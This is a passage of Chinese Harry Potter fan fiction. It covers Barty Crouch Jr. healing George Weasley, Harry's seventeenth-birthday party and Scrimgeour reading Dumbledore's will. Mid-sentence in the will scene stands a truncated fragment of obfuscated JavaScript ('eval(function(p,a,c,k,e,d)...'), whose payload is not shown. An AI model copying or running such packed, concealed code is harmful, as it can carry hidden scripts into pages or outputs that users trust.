英国境内的凤凰社成员有二十个人,这大大削弱了赤胆忠心咒的力量——食死徒有二十倍的机会从某个成员嘴里套出秘密,所以他们不能指望那里还是个秘密的地方,这代表小天狼星又一次无家可归了,不过他们有邓布利多的特殊任务,倒也不在乎这些。 莉安正想得起劲儿,没注意陋居里面传来了阵阵叫喊声,等她踏进院子时,才发现所有人都挤在客厅里,小巴蒂正拿魔杖指着沙发上一脸兴奋的乔治。 “真的能行吗?”莫丽噙着眼泪问道,“万一他骗你呢?” “那他不想活了。” “要不就试试?”弗雷德试探着说,“我觉得可以接受…” “但是他的伤口好不容易才愈合!”莫丽尖叫着说,“那是黑魔法伤口!不能再生!” “但是这个咒语是斯内普自创的,”哈利大声的说,“如果说谁会有办法,只有他!我差点用这个咒语杀了马尔福的时候,斯内普就让血液回流到了他的身体里!” “试一试,”亚瑟一锤定音,“反正最糟糕也就是这样了。” “但是…”莫丽眼泪汪汪的说,她心疼的望着乔治。 “你可得轻点儿,一定要瞄准,这个咒语可疼了!”乔治一咬牙,闭上了眼睛,“我信你啊,你可别——” 说时迟那时快,没等乔治说完,小巴蒂已经果断念出咒语,“Sectumsempra! ” 血液瞬间从乔治左耳的地方涌了出来,好像被无形的宝剑劈过一般,他哀嚎一声,软绵绵的倒回了沙发上。 “不——”莉安大惊失色。 莫丽连忙把乔治的头抬起来,只见他的面孔已经变得鲜红,苍白的手抓着浸透鲜血的大洞。 “不——乔治——” 乔治控制不住的哆嗦着,弗雷德的眼泪唰的一下流了出来,芙蓉发出一声震耳欲聋的尖叫,亚瑟跪到乔治跟前,哀痛的看着儿子,这就像他们遇袭那晚的情景再现,让他心如刀割。 “Vulnera sanentur! ”小巴蒂的魔杖沿着咒语造成的那个深深的大口子移动着,他嘴里念着一种唱歌似的咒语,念第一次时,出血似乎减轻了,念第二次时,一个肉瘤长了出来,迅速膨大,他又念了一遍咒语,现在伤口好像在愈合了。 他第三次施完神锋无影的破解咒后,乔治已经不再呻吟了。 “可能会有一些伤疤,”小巴蒂说完,又补充了一句,“但如果及时用白鲜的话,也许连伤疤都可以避免,莫丽?” 没等莫丽动手,弗雷德已经连滚带爬的冲向了放白鲜香精的地方,但陋居已经打扫一新,很多东西都不在原来的位置,他立刻举起魔杖,大喊一声,“白鲜飞来!” 一个棕色小瓶不知道从角落里飞了出来,他一把抓住,急忙跑回乔治身边,乔治双眼半睁半闭,那个大洞已经不见了,只有肉瘤正在慢慢变形。 弗雷德揪下小瓶上的塞子,莫丽抢了过来,在乔治伤口那里倒了三滴药液,绿烟滚滚升起,当它散去之后,血已经止住,伤口看上去好像已经长好了,刚才暴露的血肉上覆盖着一层新皮,以及一只新的耳朵。 莫丽发出一声喜极而泣的嚎啕,倒在亚瑟的怀里,而弗雷德已经和自己的双胞胎兄弟拥抱在了一起。 “妈妈还是分不清我们,乔治,他们又要头疼了。” “谁说不是呢?” 莉安松了口气,跌坐在乔治的旁边,嘴里喃喃的说,“不知道为什么,我都想原谅他了,明明他做过许多错事,我真是疯了…” 说完,她抖着手,把樱桃汁递给小巴蒂,用她希望永远别在她脸上出现的眼神——芙蓉看比尔那个含情脉脉、小鸟依人的目光——看着她的丈夫。 小巴蒂对此表示很满意,“你去了这么久啊?” “遇到四个食死徒。” “然后呢?”芙蓉愣愣的问。 “杀了。” “杀了?”哈利突然反应过来,不可思议的说,“杀了?” “我不杀他们,他们过一阵子就会杀我们,要知道他们上来就对我施了钻心咒,”莉安握住了丈夫的手,漫不经心的说,“如果我有一次躲避失误,恐怕你们就再也见不到我了,因为他们想‘玩一玩’。” “玩一玩?”赫敏震惊的问,“玩什么?” “男人对女人能是什么玩法?”小天狼星怜悯的看着她,“我真希望你们永远都不要懂这种肮脏的事,但现在外面的形势越来越严峻了,我不得不提醒你们,这里是安全的,但其实此刻魔法界的每个角落都在发生战争,这就是与食死徒们搏斗失败的女巫的下场——十几年前就是如此,而战争持续了十一年,很多家庭为此支离破碎,第一批凤凰社的成员还剩几个?所有人都认为,被死咒击中倒还痛快些,一旦失败被擒,很多人恨不得直接死掉。” “那你呢?”罗恩转向小巴蒂。 “我要是喜欢找乐子,干嘛找一个四岁的小女孩儿?”小巴蒂不耐烦的挥了挥手,“如果不是她已经杀掉了那些渣滓,我就会杀了他们,波特,别这样看我,黑巫师有自己的解决方式,你们不能理解。” “我们的确不能理解。”罗恩喃喃的说。 “噢,谢谢你们,为了我们的儿子,谢谢…”莫丽泣不成声的对小巴蒂说,“我真没想到…” “没关系,”小巴蒂心不在焉的说,“现在没事了,我们打算离开,后天莉安再来参加波特的生日宴——” “你不来吗?”莫丽语无伦次的问,“为什么?” “穆迪会对我喊打喊杀,我不想你们难做。” “不!不会的!”亚瑟斩钉截铁的说,“我们会说服他的!你救了乔治!” “别这么说,乔治本身也不会死。”莉安说。 “就这么定了,”亚瑟不容置疑的说,“今天让查理跟你们回去,后天你们一起过来。” “查理!”一声高八度的尖叫。 偷偷下楼看弟弟的查理手足无措的看着莫丽。 “你可真勇敢,居然趁妈妈没注意偷偷摸摸的让头发再长出来。”罗恩紧张的说。 莫丽逼着查理坐在椅子上,气势汹汹的举起魔杖,大声说要再给他好好剪剪头发,所有人在一旁看着,不禁哈哈大笑,暂时忘记了他们此刻的烦恼。 35. 遗嘱 1997年7月31日,陋居。 “生日快乐。”一大早来到陋居时,莉安把礼物递给了哈利。 此时厨房的桌上有一大堆礼物,哈利正拆到莫丽的礼物,莉安一下子就认出来,那是她叔叔的手表。 哈利有些无措的看着她和莫丽,但是莉安点了点头,“挺好的,它很好看。” “巫师成年时送他一块手表,这是一种传统,”莫丽在厨灶旁不安地注视着他们,“这块手表恐怕不如罗恩那块那么新,实际上它以前是我哥哥费比安的,我想莉安认出来了,他用东西特别不仔细,表的背面有点不平了,但——” 她的话没说完,哈利已经站起来用一个紧紧的拥抱打断了她,他们把许多没有说出口的话都倾注在这个拥抱里,莫丽大概是默许了他们的冒险行为,她不自然的拍拍哈利的面颊,然后有点杂乱无章的挥舞着她的魔杖,弄得一半熏肉都从煎锅里跳出来,掉在地板上。 “你准备了什么呢?”莫丽平复了一下心情,问道。 “是比较实用的东西。” 这时,哈利已经把她的礼物拆开了,发现那是一双黄色的短靴和一件火龙皮外套。 “防水防湿,也很保暖,龙皮做的,无论你去哪儿都不容易着凉,”莉安说,“我估计德思礼一家肯定不会这么精心的准备你的衣服,听海丝佳说,他们粗鲁又无理,护送他们去安全居处的一路上,那个德思礼和你的姨妈一直都显得很冒犯——他们歧视巫师。” “谢谢,这很棒!”哈利有些高兴,而莫丽不满的撅起了嘴,她很讨厌德思礼一家虐待哈利,毕竟哈利跟他爸爸长得很像,却比詹姆要瘦得多,看起来总像没吃饱饭一样。 哈利拆完礼物没有在桌边逗留,跟着赫敏和罗恩上楼放礼物,因为德拉库一家来了,厨房里显得拥挤不堪,莉安也退回了客厅里,小巴蒂仍然举着一壶樱桃汁。 “他又在喝复方汤剂吗?难道这也不是他的真面目?”芙蓉吃完饭出来时,大声说道。 “不,你见过他变形,这就是他本来的长相,”莉安被她逗笑了,“除了年纪稍微大了点,我觉得哪里都好。” 芙蓉听到“年纪稍微大了点”,没有多说什么,实际上比尔比她大7岁,她和莉安同岁。 卢平比唐克斯大13岁,她以为这已经很不可思议了,没想到一山更比一山高,小巴蒂比莉安大15岁。 便宜这些个老男人了! “怪不得,我之前看到孩子们照片还在纳闷,”查理说,“乔希是棕色的头发棕色的眼睛,而莉安是金色的头发蓝色的眼睛,但是他的三个孩子全都是金色的头发,其中一个还是灰色的眼睛,乔希的基因就像一点贡献都没有,我一直在想,普威特祖上有人是灰色的眼睛吗?只能猜测乔希那边可能是。” “他像我,”小巴蒂漫不经心的交叠长腿,“洛特是克劳奇的继承人,本来我不打算让他姓克劳奇的,但是莉安说随母姓只要一个孩子就可以。” “兰斯还是姓普威特吗?”芙蓉惊讶的看着他,“我还以为这只是为了隐藏你的身份,你现在打算把他的姓改回克劳奇——” “当然不会,这是我们早就说好的,跟我的真实身份无关,如果他们不是双胞胎,只有一个孩子,那他永远姓普威特。”小巴蒂不在意的耸了耸肩。 “而且莉安到现在也没有冠夫姓。”芙蓉说。 “我想让她冠夫姓,但是现在不行,那相当于把她暴露给伏地魔,”小巴蒂严肃的看着她,“我不能那么做,傲罗指挥部有很多人中了夺魂咒,如果她克劳奇夫人的身份被揭穿,我和她都会变成伏地魔的眼中钉,食死徒是不可能退出的,叛徒的下场——我不知道你对于德姆斯特朗的校长卡卡洛夫还有没有印象,他是食死徒,在伏地魔第一次倒台时,他为了躲避牢狱之灾出卖了一份食死徒的名单,跟我父亲做了交易,伏地魔复生后他不管不顾的逃跑了,甚至把学生扔在霍格沃茨,我听说是威克多尔·克鲁姆把船开回去的——他本来就不做事,全靠压榨学生,但是这也没什么用,伏地魔不会放过叛徒,他总有方法追踪他们,卡卡洛夫是被摄魂怪杀死的。” “那你打算怎么脱身?”查理焦虑的摸着自己的头发,坐到小巴蒂旁边,“我心疼莉安,你对她好,我知道,但我希望你能一直对她好。” “其实很多人都想脱身,”小巴蒂示意芙蓉也坐下来,几人挤在沙发上,他给大家分析目前的局势,“他以前是个很有魅力的领袖,并且善于操控人心,以各种手段让那些人加入食死徒的队伍。” “一开始,他以‘纯血至上’主义吸引和自己有共同观念的人——那些纯血家族的家主和他们的继承人,西里斯的弟弟就是如此,甚至世代为其服务——卢修斯的父亲和他的儿子都是食死徒,后来,他通过观察对方的性格爱好和利用价值,以温和的拉拢或者他自创的黑魔法引诱对方,比如我,在我面前他是个如父亲一般和蔼的人,而很多食死徒对他死心塌地也是想要跟随他学习黑魔法,或者更残忍的手段,但现在,他是以自己绝对强大的实力压迫对方,从而以威胁和恐吓的方式掌控他人为己所用,比如声称让狼人咬他们的孩子,很多食死徒已经心生退意,但是他们不敢背叛他。” “他对因混血身份而受排挤且有用处的斯内普委以重任,同时拉拢狼人和巨人等被边缘化的魔法界底层生物群体,这代表他压根不在乎血统论,但虚荣懦弱的纯血家族却不敢面对这一切——他们仍然指望伏地魔帮他们争取利益,哪怕他们心知肚明纯血家族已是日薄西山,比如格兰杰就很聪明,是我教过最聪明的女巫,她一点儿也不比纯血种差,反而是高尔和克拉布笨手笨脚,所以血统的确不能说明一切。” “你的意思是有些人已经看清了这一点,他们心生退意,哪怕神秘人的势力已经快要占领魔法界?”查理问。 “没错,除了少数死忠党,其他人都变得惧怕他,而不是从心底里认为他是一个应该追随的领袖,他也很清楚这一点,所以他复生后,那些从来没有寻找过他的食死徒没有受到惩罚,他很轻易的就放过了他们——如果他不原谅他们,那他就真的没人可用了,这也是他蛰伏了一年,直到摄魂怪为他效力,放走了十个对他最忠诚的食死徒之后,他才在魔法部公开露面的原因,我不建议你们信任魔法部,福吉的乱政和斯克林杰的无意义的面子工程把魔法部搞得一团糟,它已经烂透了,无药可救了。” “而且霍格沃茨的教学很落后,麻瓜的科技在飞速发展,可很多巫师家庭甚至没有电灯,麻瓜研究只是一门可有可无的选修课,”小巴蒂摇着头,表示了他的不认可,“还有黑魔法防御术,这门课不如说是‘低级黑魔法生物防御课’,我接手他们的课程时,只有提高班才会讲授一些真正的抵抗黑魔法的咒语,我怀疑有人在故意削弱年轻巫师的实力——魔法部干的,他们把年轻巫师变成了只会拿魔杖做一些流水线工作的人,就像对角巷那些商人,魔法教育司认为,他们学这些咒语有什么用呢?只要相信魔法部、相信傲罗就好,所以他们面对黑巫师时像麻瓜一样毫无还手之力。” 赫敏这时从歪歪斜斜的楼梯上走下来,轻声的说,“可是课堂上不能使用不可饶恕咒,这不合规定。” “小书呆子,我给你一个钻心咒,你拿书挡着吧,”小巴蒂不屑的看了她一眼,“为什么说低级,是因为守护神咒并非书本上的内容,霍格沃茨是不教的——他们认为用不到,你认为现在摄魂怪到处繁殖的情况下,魔法界很安全是不是?这个咒语是卢平私底下教给莉安和波特的,波特搞了那个DA,教会了别人,而六年级的提高班甚至还在学习阴尸,好吧,这的确是抵抗黑魔法,但阴尸被黑巫师操控,怎么解决黑巫师,霍格沃茨还是没有教,课本至少有五十年没更新过了。” “我肯定卢平的教学,因为他的确优秀,但我记得第一堂课我就说了,你们缺少对黑魔法咒语的教学,这并不是卢平的问题,而是与所谓的魔法部规章制度有关,对付黑魔法生物属于基础知识,是低年级学生的主要学习内容,而四年级学生的教学内容主要是针对一些黑魔法的破解咒,但我觉得,霍格沃茨有一个最大的问题。” 小巴蒂懒散的看着他们,“伏地魔诅咒了这个职位,你们在每年换一个教授、尚且不知道对方是人是鬼的情况下,本身每个教授的能力就是良莠不齐的,洛哈特是个骗子,读书时他就是个无可救药的自恋狂,而奇洛心怀鬼胎——他不是食死徒,他还不够资格,但奇洛是个很强大的巫师,他比我小两岁,我知道他精通无杖魔杖,当然,这有可能是他没办法用他的魔杖施放黑魔法——他的杖芯是独角兽毛,但是他也没教给你们什么不是吗?何况后来你们又遇到了乌姆里奇,就算没有伏地魔,别忘了德姆斯特朗是教授黑魔法的,合情合理合规的教授黑魔法,如果遇到了他们,你们打算怎么办呢?” “但是战争过去的时候——” “没错,我赞同,但现在是战争时期,食死徒已经跳到斯克林杰的脸上了,别指望魔法部,这个时候他们只会拖后腿,自救吧。” 小巴蒂说得有些口渴,咕咚咕咚一口气喝完了樱桃汁。 “你为什么要教我们抵抗夺魂咒呢?”赫敏又问道,“我们一直搞不明白,你明明是伏地魔的人。” “因为我当时是穆迪,我做任何事情都会全力以赴,除了波特是伏地魔指定要的倒霉蛋儿,卢修斯的儿子让我反感,其他孩子都是我的学生。” “也包括纳威吗?” “嗯,怎么不算呢?除了我,当时还有哪个教授鼓励他吗?” “你真的没有折磨纳威的父母?”小天狼星靠在门口,目不转睛的看着他。 “你记得我祖母是谁吗?西里斯。”小巴蒂意味不明的看着他。 “噢,卡丽丝·布莱克,我的堂姑奶奶。” “那弗兰克·隆巴顿的祖母呢?” 小天狼星愣了一会儿,不情不愿的说,“卡莉朵拉·布莱克。” 顿了顿,他又补充了一句,“卡丽丝的大姐。” “另外一个呢?” “噢,辛德瑞拉·布莱克,卡丽丝的二姐,”小天狼星吭哧吭哧的说,“亚瑟的母亲。” “是啊,都是一家人。”莉安笑了起来。 “我没有折磨弗兰克,实际上那天我离开莉安的房子后就去了莱斯特兰奇庄园,罗道夫斯监视了隆巴顿的房子,我们抓到了那两夫妻,”小巴蒂皱着眉头说,“我的意思是想知道伏地魔的下落有很多方法,可以用吐真剂或者夺魂咒盘问,我并不想找乐子,但你的堂姐你很了解,她发起疯来的时候没人拦得住,包括莱斯特兰奇兄弟,她当然也不会听我的话,就像在神秘事务司她不会听卢修斯的指挥那样,哪怕这是伏地魔交代的任务,但她只想着把金妮抓过去折磨一顿,来逼波特交出预言球,当年也是如此,我以为她在用钻心咒威慑他们,我以为她之后会好好审问一下,但是她把人给折磨疯了。” “贝拉特里克斯也不帮你辩解一下?”赫敏简直被贝拉特里克斯的脑回路惊呆了,“如果我是她,我肯定会极力替你脱罪,让你在外面继续寻找伏地魔——我不是这个意思,但我觉得这在当时才是最好的解决方案。” “她没这个脑子。”小巴蒂不客气的下了评判。 众人沉默下来。 毕竟纵观神秘事务司一战,贝拉特里克斯的确没有脑子,但是战斗力很强,并且伏地魔很看重她,逃跑前也没忘了把她带走。 “伏地魔现在失去了以前的理性思维,他把最冲动最没脑子的贝拉放在身边当军师,把最有钱最有影响力的卢修斯派出去抛头露面做一线任务,他复生时明明可以用任何一个敌视他的巫师的血——虫尾巴很容易就能搞到,但他执着的想要波特,被邓布利多保护的波特,为此不得不把最聪明最忠心的我派出去当死间,但是他失手了,这让我差点死掉,”小巴蒂的眉头夹的死紧,“我一直想不明白,直到神秘事务司一战开始前他跟我们讲了预言的事,我才搞清楚他的想法,但我又差点儿死了,是莉安救了我,我不能——我不能再这么做,我不能效忠他了,我母亲救了我,我的妻子救了我,她们才是真的爱我,愿意为我付出一切。” “是啊,邓布利多说过,我有爱,”哈利大声的说,“这是伏地魔所不了解的能量。” “围绕在你身边的每个人都有爱,哈利,”莉安说,“是爱让我们加入凤凰社,我们对抗黑魔头是因为想保护这个世界,保护所爱之人,这是黑魔头不能理解的,我认为他不爱任何人,只是利用他们,以前巴蒂总是念叨他和黑魔头的关系会‘比儿子还亲’,因为老克劳奇没给过他父爱,或者说,没让他感受到爱,可是当巴蒂自己做了父亲之后,他才知道什么是父爱,他上当了,就像奇洛那样,他们都上当了。” “有才华的巫师都会被魔法的另一面所吸引,”小巴蒂说,“我和奇洛就是如此,西里斯,你应该记得奇洛读书时多么优秀吧?他是拉文克劳最优秀的年轻巫师。” “真的?”哈利干巴巴的问,“可是他什么也没教会我们,整天裹着那个隐藏伏地魔的头巾,一股大蒜的味道…” “真的,”小天狼星有点不好意思,见小巴蒂一直盯着他,仿佛他不说实话就要揭他老底,只好尴尬的摸着头发,“据说奇洛很有天赋,但他性格十分软弱,我和詹姆捉弄过他一阵子,但是后来就没有了,你们懂的…我不喜欢欺负弱者…斯内普除外,他一点儿也不弱,但奇洛因为胆小和神经质受到过不少嘲弄。” “是啊,奇洛把我绑起来的时候说过,”哈利十分郁闷的说,“他说斯内普确实恨我,当年他和我爸爸一起念书时,他们俩互相仇恨不共戴天,不过奇洛说斯内普从来不希望我死掉。” “他的确不希望你死掉,”小巴蒂说,“别管斯内普看上去有多厌恶你,他一直都在帮你,如果他铁了心不告诉我反咒,那我肯定会大费周章一番,他应该不是故意的,我猜他像我一样打算偷着解决掉几个食死徒,咒语打偏了。” “那他为什么要杀死邓布利多呢?” “他们大概有自己的计划吧,”小巴蒂懒洋洋的起身,“好了,我们得布置一下房子,再说下去莫丽就要忙不过来了。” 众人心虚的看着厨房里烤蛋糕的莫丽的背影,立刻作鸟兽散。 早在穆迪、卢平、唐克斯和海格还没有到来之前,哈利的生日宴就把陋居厨房挤得快要爆炸了,于是他们就在花园里拼了几张桌子。 弗雷德和乔治用魔法变出一大批紫色的灯笼,悬在客人们的头顶上,灯笼上闪着耀眼醒目的数字17,而赫敏的魔杖顶上喷出紫色和金色的横幅,很有艺术性的悬挂在树上和灌木丛中。 “真好,”罗恩看着赫敏最后一挥魔杖,把沙果树的树叶变成了金色,不禁赞叹道,“你在这方面真有绝活儿。” 哈利看赫敏那副高兴的样子,不禁想到自己今天收到的罗恩的礼物是《迷倒女巫的十二个制胜法宝》,他想里面一定有一章是专门讲如何奉承女生的。 “让开,让开!”莫丽大声说着,走进了花园的门,一个泳池里浮水气球那么大的金色飞贼在她面前飘浮着——哈利的生日蛋糕。 莫丽用魔杖让它悬在半空,而不是冒险端着它走过坑洼不平的地面,当蛋糕终于落到桌子中央,哈利回忆着罗恩的表现,忙不迭奉承道,“真是太棒了,韦斯莱夫人。” “哦,没什么,亲爱的。”莫丽慈爱的说,罗恩在她身后朝哈利竖起两个大拇指,用口型说:好样的。 七点钟,客人们都来了,弗雷德和乔治站在小路尽头迎候,把他们领进屋子,海格穿上了他最好的毛茸茸的褐色西服,但是难看极了。 卢平虽然面带微笑,但他似乎很不高兴,而他身边的唐克斯看上去简直光彩照人。 “生日快乐,哈利。”唐克斯紧紧的搂抱了他一下。 说完,她的目光又投向莉安,但莉安不自在的低着头,躲避她的目光。 穆迪正常的眼睛看着桌子上的美味菜肴,而那只魔眼咕噜咕噜的转着,一直盯着小巴蒂,他一个人坐在桌子旁喝闷酒,倒是没说什么扫兴的话。 海格神经粗大,拿着小桶那么大的酒杯跟查理亲亲热热的聊起了那条挪威脊背龙。 “那条挪威脊背龙,我们现在叫它诺贝塔了。”查理说。 “什么——诺伯是个姑娘?”海格问。 “是啊。”查理说。 “怎么能看出来呢?”赫敏问。 “母的要凶恶得多,”查理说着,做贼一样瞟着莫丽,压低了声音,“真希望爸爸赶紧回来,妈妈开始烦燥了。” 莉安:……别以为我不知道你在暗示什么! 他们都朝莫丽望去,只见她一边打起精神跟德拉库尔夫人说话,一边不住的朝大门口张望。 过了片刻,她对着花园大声说道,“我想,我们最好别等亚瑟了,现在就开始吧,他准是有事耽搁了——哦!” 这时,一道光掠过院子,蹿到桌上,变成了一只明亮的银色鼬鼠,它后腿直立,用亚瑟的声音说话了。 “魔法部部长和我一起来了。” 守护神突然不见了踪影,芙蓉一家人惊愕的盯着它消失的地方。 “我们不应该在这儿,”卢平立刻说道,“抱歉了,哈利,我下次再解释——” 他抓住唐克斯的手腕把她拉走了,他们跑到栅栏前,翻过去不见了,莫丽一脸迷惑,还没等她反应过来,小巴蒂也迅速三步并作两步钻进客厅,蹿上了楼梯的一个房间里。 “部长来了?可是为什么?我不明白——” 没有时间讨论这个问题了,一秒钟后,亚瑟在大门口突然出现,身边跟着斯克林杰,他那头花白的长发一眼就能认出来。 新来的两个人大步穿过院子,朝花园和点着灯笼的桌子走来,桌旁的每个人都默默无语,看着他们一步步走近。 斯克林杰走到灯笼的亮光里时,他们发现他比上次出席邓布利多的葬礼时苍老了许多,消瘦憔悴,神色严峻。 “抱歉,打扰了,”斯克林杰一瘸一拐的走到桌旁停下,说道,“而且我发现我擅自闯入了一个晚会。” 他的目光在那个巨大的金色飞贼蛋糕上停留了片刻。 “祝你长命百岁。” “谢谢。”哈利说。 “我想和你单独谈谈,”斯克林杰继续说,“还有罗恩·韦斯莱先生和赫敏·格兰杰小姐。” “噢,原来普威特也在这里,那我就不用再跑一趟了,你也过来一下。” 莉安皱了皱眉,斯克林杰发号施令的语气让她有点不爽,现在毕竟是下班时间,而且她这几天一直没去魔法部,但斯克林杰是部长,并且那锐利的目光一直在她身上扫视,她只好点点头。 “我们?”罗恩说,声音里透着惊讶,“叫我们干吗?” “等我们一会儿找到更隐蔽的地方,我会告诉你们的,”斯克林杰转向亚瑟,“有这样的地方吗?” “有,当然有,”亚瑟显得有点紧张,“嗯,客厅,客厅不就可以嘛。” “你在前面走,”斯克林杰对罗恩说,“亚瑟,你就不用陪着我们了。” 莫丽和亚瑟交换了一个不安的眼神,莉安他们四个一声不吭的向房子里走去,穿过杂乱拥挤的厨房,进入陋居的客厅,斯克林杰一直没有说话。 花园里虽然映着柔和的金色晚霞,但客厅里已经很暗了,哈利进屋时朝着那些油灯挥了挥魔杖,它们照亮了这个破旧然而舒适的房间。 斯克林杰在亚瑟平常坐的那把松软凹陷的扶手椅上坐了下来,哈利、罗恩和赫敏只好一个挨一个的挤坐在沙发上,而莉安站在沙发旁,一只手搭在罗恩的肩膀上——她敏锐的感觉到了表弟有些不安。 他们刚一坐定,斯克林杰就说话了。 “我有几个问题要问你们四个,我想最好一个一个地问,你们三个——”他指着莉安、哈利和赫敏,“到楼上去等着,我先跟罗恩谈谈。” “我们哪儿也不去,”哈利说,赫敏也在一旁拼命点头,“要么一起谈,要么一个也别谈。” 莉安察觉到斯克林杰是打算各个击破,想先从最容易被套路的罗恩下手,她无声的站着,手没有离开过罗恩,斯克林杰用冷冷的、审视的目光看着哈利,又慢慢把视线移到她身上,似乎在考虑是否值得这么早就把敌意公开。 “好吧,那就一起谈,”斯克林杰耸耸肩说,然后清了清嗓子,“我相信你们知道,我是为了阿不思·邓布利多的遗嘱来的。” 哈利、罗恩和赫敏面面相觑,莉安仍然面无表情。 “看来很意外啊!难道你们没有意识到邓布利多给你们留了东西?” “我们都有?”罗恩说,“我和赫敏也有?” “对,你们都有——” 但哈利打断了他的话。 “邓布利多死了一个月了,为什么这么长时间才把他留给我们的东西给我们?” “这还用说吗?”没等斯克林杰回答,赫敏就说道,“他们要检查他留给我们的东西,你没有权利这么做!” 她的声音因为气愤微微有点发抖。 “我当然有权利,”斯克林杰轻蔑的说,“根据《正当没收物资法》,魔法部有权没收遗嘱所涉及的东西——” “那个法律是为了阻止巫师转移黑魔法用品才制定的,”赫敏愤怒的喊道,“魔法部应有确凿证据证明死者的东西是非法的才能没收它们!难道你是说你认为邓布利多想留给我们一些邪恶的东西?” “你打算将来从事魔法法律的职业吗,格兰杰小姐?”斯克林杰的声音无疑透露着嘲讽。 “不是,”赫敏反唇相讥,“我希望在世上做些好事!” 罗恩笑出声来,斯克林杰的目光朝他扫了一下又挪开了,这时哈利说话了。 “现在你怎么又决定让我们拿到邓布利多给我们的东西了?找不到借口扣留它们了?” “不,是因为三十一天的期限到了,”赫敏立刻说道,“他们扣留的时间不能超过这个期限,除非能证明东西是危险的,对吗?” “没错,部长这一个月就在研究我们的东西,把他自己关在办公室里。”莉安淡淡的说。 “你能说你和邓布利多很亲密吗,罗恩?”斯克林杰瞪了莉安一眼,没有理睬她们,而是抓着罗恩当突破口。 罗恩显得很吃惊。 “我?不太亲密…一向都是哈利…” 罗恩感觉自己的肩膀被捏了一把,他立刻明白了莉安的意思,转头看着赫敏,赫敏朝他丢了个“赶紧闭嘴”的眼神。 但是危害已经造成:斯克林杰似乎听到了他所期待和需要的话,他像饿虎扑食一般的看着罗恩。 “如果你和邓布利多并不十分亲密,又怎么解释他在遗嘱里给你留下礼物呢?他专门给几个人遗赠了东西,他的大部分财物——他的私人藏书室,他的魔法仪器和其他个人财产——都留给了霍格沃茨,你认为他为什么对你另眼相看呢?” “我不知道,”罗恩说,“我…我刚才说我们不太亲密…其实我是说我觉得他挺喜欢我…” “你太谦虚了,罗恩,”赫敏说,“邓布利多非常喜欢你。” 斯克林杰把手伸进斗篷里掏出一个拉绳小袋,从里面抽出一卷羊皮纸,展开来大声读道: “‘阿不思·珀西瓦尔·伍尔弗里克·布赖恩·邓布利多的遗嘱…’对,在这里,‘…我的熄灯器留给罗恩·比利尔斯·韦斯莱,希望他使用时能想起我。’” 斯克林杰从袋子里掏出一个看上去像银质的打火机的东西,探身把它递给罗恩,罗恩接过来拿在手里翻看着,一副目瞪口呆的样子。 “这是一件很有价值的东西,”斯克林杰注视着罗恩说,“甚至可能是独一无二的,肯定是邓布利多自己设计的,他为什么要把这么稀罕的东西留给你呢?” 罗恩摇摇头,一脸茫然。 “邓布利多教过的学生准有好几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“为魔法部效力是你的义务!你是傲罗!” 斯克林杰在金丝边眼镜后的眼睛冷漠而严厉,他瞪着莉安,声音中满是怒气,“你现在是在告诉我,你跟波特一样,是彻头彻尾是邓布利多的人,对不对?普威特?” “显而易见。” 斯克林杰冷冷的瞪着她,显然是在强压怒火,过了好半晌才最后一次看向遗嘱。 “‘我留给哈利·詹姆·波特的,’”他不情不愿的念道,“‘是他在霍格沃茨第一次参加魁地奇比赛时抓到的金色飞贼,以提醒他记住毅力和技巧的报偿。’” 斯克林杰掏出一个胡桃大的金色飞贼,它的一对翅膀有气无力的扇动着,哈利显得有点儿扫兴。 “邓布利多为什么要把这个飞贼留给你呢?”斯克林杰问。 “不知道,”哈利说,“大概是为了你刚才念的那些理由吧…提醒我只要毅力,还有那什么…就能得到怎样的收获。” “这么说,你认为这只是一个有象征意义的纪念品?” “我想是吧,”哈利说,“还会是什么呢?” “我在问你呢。”斯克林杰把椅子挪得离沙发更近了一点儿,外面暮色真的降临了,窗外的大帐篷高耸在树篱上方,白得使人害怕。 “我注意到你的生日蛋糕是一个飞贼的形状,”斯克林杰对哈利说,“为什么?” “哦,不可能是指哈利是个出色的找球手,那太明显了,”赫敏嘲讽道,“蛋糕里肯定藏着邓布利多的一条秘密情报!” “我倒不认为蛋糕里藏着什么东西,”斯克林杰一本正经的说,“飞贼本身就是个藏小东西的绝妙地方,我相信你们知道为什么呢?” “因为飞贼有□□记忆。”赫敏说。 “什么?”其他三人一起看着她,惊讶极了。 “正确,”斯克林杰说,“飞贼被放出来前,没有被裸露的皮肤触摸过,就连制造者也没有摸过,他们都戴着手套,而飞贼身上带有一种魔法,它能辨认第一个用手触摸它的人,以防抓球时产生争议。” “这个飞贼会记得你的触摸,波特,”他举起小小的金球,“我突然想起,邓布利多虽然有这样那样的缺点,但魔法技艺却十分高超,他大概给这个飞贼施了魔法,只有你才能打开。” 一阵尴尬的沉默,三人组交换了一个眼神。 “你什么话也不说,”斯克林杰说,“难道你已经知道飞贼里藏着什么了?” “不知道。”哈利说。 “拿着。”斯克林杰轻声说。 斯克林杰把飞贼慢慢的、慎重的放在哈利的手心里。 但是什么也没发生,飞贼没有打开,疲倦的翅膀扑扇几下就不动了。 “很有戏剧性。”哈利冷冷的说。 “没事了吧?”赫敏挣扎着想从沙发上站起来。 “还没完,”斯克林杰此刻显得有些烦躁,“邓布利多还遗赠给你一件东西,波特。” “是什么?”哈利激动的问。 斯克林杰这次没有去看遗嘱。 “戈德里克·格兰芬多的宝剑。”他说。 莉安、赫敏和罗恩都呆住了,但斯克林杰并没有从皮袋里抽出宝剑——皮袋子太小,根本不可能装得下宝剑。 “在哪儿呢?”哈利怀疑的问。 “很不幸,”斯克林杰说,“邓布利多没有权利把宝剑赠送给他人,戈德里克·格兰芬多的宝剑是一件重要的历史文物,它属于——” “它属于哈利!”赫敏不甘心的喊道,“它选择了哈利,是哈利发现了它,它从分院帽里出来找哈利——” “根据可靠的历史资料,”斯克林杰说,“宝剑会呈现在每一个出色的格兰芬多学生面前,那并不能使它成为波特先生的个人财产,不管邓布利多怎么决定。” “邓布利多想把宝剑给我?”哈利仿佛在拼命克制着自己的火气,他忍不住嘲讽道,“他大概认为宝剑挂在我的墙上会很好看吧。” “这不是在开玩笑,波特!”斯克林杰咆哮道,“是不是邓布利多相信只有戈德里克·格兰芬多的宝剑才能打败斯莱特林的继承人?波特,他希望把宝剑给你,是不是因为他像许多人一样相信,你注定要消灭那个连名字都不能提的魔头?” 